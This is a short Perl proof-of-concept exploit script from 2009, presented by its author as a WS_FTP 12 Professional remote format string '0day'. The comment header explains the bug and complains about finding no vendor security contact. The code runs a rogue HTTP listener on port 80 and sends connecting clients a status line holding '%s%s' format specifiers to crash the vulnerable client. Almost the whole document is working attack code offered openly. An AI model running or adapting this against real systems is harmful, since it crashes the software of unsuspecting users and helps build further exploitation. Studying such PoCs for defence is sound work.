#!/usr/bin/perl # nocoolnameforawsftppoc.pl # AKA # Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC # # Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009 # # ********************************************************************************************************* # I really _hate_ releasing proof of concepts. ASCII gets itchy after a few months. And it has been over a # year since a WS_FTP exploit/PoC has been on milw0rm (as far as I know) (!). Crazy right? This bug was # found with Hzzp, yes WS_FTP parses HTTP too. Format string in the status code, bang bang. But the problem # is we can't seem to be able to use %n, which I believe is disabled by default per Microsoft, making # exploitation more difficult. Hrm. And where is a security contact for Ipswitch? I believe I did try to # find a reasonable resource. Maybe Ipswitch should just fuzz their products with Hzzp? xD Happy Holidays! # ********************************************************************************************************** # nocoolnameforawsftppoc.pl use IO::Socket; $port = 80; $payload = "HTTP/1.1 %s%s\r\n\r\n"; $serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n"; $cli = $serv->accept() or die "Error: accept()\n"; $cli->recv($buf, 512); $cli->send($payload); close($cli); close($serv);
